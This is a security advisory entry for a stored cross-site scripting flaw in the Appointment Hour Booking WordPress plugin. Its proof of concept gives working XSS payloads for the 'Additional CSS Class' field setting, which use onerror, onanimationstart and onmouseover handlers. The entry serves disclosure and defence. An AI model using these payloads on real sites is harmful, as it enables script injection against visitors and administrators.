WordPress Plugin Vulnerabilities
Appointment Hour Booking < 1.3.56 - Admin+ Stored Cross-Site Scripting
Description
The plugin does not sanitise and escape a settings of its Calendar fields, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html is disallowed.
Proof of Concept
Create/edit a calendar, and put the following payload in the "Additional CSS Class" settings of a field: v < 1.3.55: "><img src=x onerror=alert(/XSS/)><" v < 1.3.56: backend: " style=animation-name:rotation onanimationstart=alert(/XSS/)//, frontend: " style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(/XSS/)// The XSS will be triggered in the post/page where the Calendar is embed, as well when accessing the field settings when editing the calendar
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Bruno Halltari
Submitter
BrunoModificato
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-05-23 (about 1 years ago)
Added
2022-05-23 (about 1 years ago)
Last Updated
2023-02-18 (about 1 years ago)